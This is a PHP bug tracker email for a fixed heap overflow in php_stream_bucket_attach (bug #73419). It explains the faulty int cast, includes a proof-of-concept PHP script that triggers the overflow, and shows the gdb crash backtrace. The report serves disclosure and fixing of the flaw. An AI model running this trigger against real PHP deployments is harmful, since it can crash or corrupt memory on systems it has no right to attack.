Sec Bug->Bug #73419 [Csd]: Incorrect Type Comparison in "php_stream_bucket_attach" Leads Heap Overflow
| From: | stas@php.net | Date: | Mon, 13 Feb 2017 00:59:24 +0000 |
| Subject: | Sec Bug->Bug #73419 [Csd]: Incorrect Type Comparison in "php_stream_bucket_attach" Leads Heap Overflow | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-207308@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=73419&edit=1
ID: 73419
Updated by: stas@php.net
Reported by: orange at chroot dot org
Summary: Incorrect Type Comparison in
"php_stream_bucket_attach" Leads Heap Overflow
Status: Closed
-Type: Security
+Type: Bug
Package: Streams related
Operating System: Ubuntu
PHP Version: 7.0.12
Assigned To: stas
Block user comment: N
Private report: N
Previous Comments:
------------------------------------------------------------------------
[2016-11-05 21:48:19] stas@php.net
The fix for this bug has been committed.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
For Windows:
http://windows.php.net/snapshots/
Thank you for the report, and for helping us make PHP better.
------------------------------------------------------------------------
[2016-11-03 14:35:54] orange at chroot dot org
ping?
------------------------------------------------------------------------
[2016-10-30 10:41:54] orange at chroot dot org
Description:
------------
Hi
I just review the code of PHP7 and I found an incorrect type comparison in function
php_stream_bucket_attach.
In file ext/standard/user_filters.c line 455
```
455 if ((int)bucket->buflen != Z_STRLEN_P(pzdata)) {
456 bucket->buf = perealloc(bucket->buf, Z_STRLEN_P(pzdata), bucket->is_persistent);
457 bucket->buflen = Z_STRLEN_P(pzdata);
458 }
459 memcpy(bucket->buf, Z_STRVAL_P(pzdata), bucket->buflen);
```
bucket->buflen is user controllable and it's type casted from size_t to int, so if I provide
a bucket->buflen size 0x10000002 and let Z_STRLEN_P(pzdata) to 0x2, the bucket->buflen
won't be changed.
In line 459, the memcpy will use bucket->buflen with type size_t, so it will copy 0x10000002
bytes from Z_STRVAL_P(pzdata) to bucket->buf.
I think the patch is just remove the casting "(int)" in line 455!
Test script:
---------------
<?php
ini_set("memory_limit", "-1");
class strtoupper_filter extends php_user_filter {
function filter($in, $out, &$consumed, $closing)
{
$fp = fopen("/dev/null", "rb");
$bucket = stream_bucket_new($fp, str_repeat('x', 0x100000002));
$bucket->data = "gg";
stream_bucket_append($out, $bucket);
return PSFS_PASS_ON;
}
}
stream_filter_register("strtoupper", "strtoupper_filter");
$fp = fopen("/dev/null", "r");
stream_filter_append($fp, "strtoupper");
fread($fp, 1);
fclose($fp);
Actual result:
--------------
gdb-peda$ bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:116
#1 0x000000000066d390 in memcpy (__len=<optimized out>, __src=<optimized out>,
__dest=<optimized out>)
at /usr/include/x86_64-linux-gnu/bits/string3.h:51
#2 php_stream_bucket_attach (append=0x1, return_value=<optimized out>,
execute_data=<optimized out>)
at /home/orange/aa/php-7.0.12/ext/standard/user_filters.c:459
#3 0x000000000072a63d in ZEND_DO_ICALL_SPEC_HANDLER () at
/home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:586
#4 0x000000000071cb0b in execute_ex (ex=<optimized out>) at
/home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:414
#5 0x00000000006d258b in zend_call_function (fci=fci@entry=0x7fffffffa660,
fci_cache=0x7ffff4c852e0, fci_cache@entry=0x0)
at /home/orange/aa/php-7.0.12/Zend/zend_execute_API.c:856
#6 0x00000000006d2aa8 in call_user_function_ex (function_table=function_table@entry=0x0,
object=object@entry=0x7ffff4c75008,
function_name=function_name@entry=0x7fffffffa6f0, retval_ptr=retval_ptr@entry=0x7fffffffa700,
param_count=param_count@entry=0x4,
params=params@entry=0x7fffffffa720, no_separation=no_separation@entry=0x0,
symbol_table=symbol_table@entry=0x0)
at /home/orange/aa/php-7.0.12/Zend/zend_execute_API.c:675
#7 0x000000000066cce8 in userfilter_filter (stream=<optimized out>,
thisfilter=0x7ffff4c75000, buckets_in=0x7fffffffa7c0,
buckets_out=0x7fffffffa7d0, bytes_consumed=0x0, flags=<optimized out>)
at /home/orange/aa/php-7.0.12/ext/standard/user_filters.c:203
#8 0x0000000000699cfd in _php_stream_fill_read_buffer (stream=stream@entry=0x7ffff4c72300,
size=size@entry=0x1)
at /home/orange/aa/php-7.0.12/main/streams/streams.c:593
#9 0x0000000000699fa7 in _php_stream_read (stream=stream@entry=0x7ffff4c72300,
buf=buf@entry=0x7ffff4c01838 "fread", size=0x1)
at /home/orange/aa/php-7.0.12/main/streams/streams.c:722
#10 0x000000000062b113 in zif_fread (execute_data=<optimized out>,
return_value=0x7ffff4c13110)
at /home/orange/aa/php-7.0.12/ext/standard/file.c:1770
#11 0x000000000072a63d in ZEND_DO_ICALL_SPEC_HANDLER () at
/home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:586
#12 0x000000000071cb0b in execute_ex (ex=<optimized out>) at
/home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:414
#13 0x0000000000765fe7 in zend_execute (op_array=0x7ffff4c7d000, op_array@entry=0x7ffff4c85660,
return_value=return_value@entry=0x7ffff4c13030) at
/home/orange/aa/php-7.0.12/Zend/zend_vm_execute.h:458
#14 0x00000000006e0234 in zend_execute_scripts (type=type@entry=0x8, retval=0x7ffff4c13030,
retval@entry=0x0,
file_count=file_count@entry=0x3) at /home/orange/aa/php-7.0.12/Zend/zend.c:1427
#15 0x0000000000683bf8 in php_execute_script (primary_file=primary_file@entry=0x7fffffffcd10)
at /home/orange/aa/php-7.0.12/main/main.c:2494
#16 0x0000000000767bb8 in do_cli (argc=0x2, argv=0xecbfc0) at
/home/orange/aa/php-7.0.12/sapi/cli/php_cli.c:974
#17 0x0000000000430530 in main (argc=argc@entry=0x2, argv=0xecbfc0, argv@entry=0x7fffffffe108)
at /home/orange/aa/php-7.0.12/sapi/cli/php_cli.c:1344
#18 0x00007ffff6c9eec5 in __libc_start_main (main=0x430020 <main>, argc=0x2,
argv=0x7fffffffe108, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe0f8) at
libc-start.c:287
#19 0x00000000004305cb in _start ()
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=73419&edit=1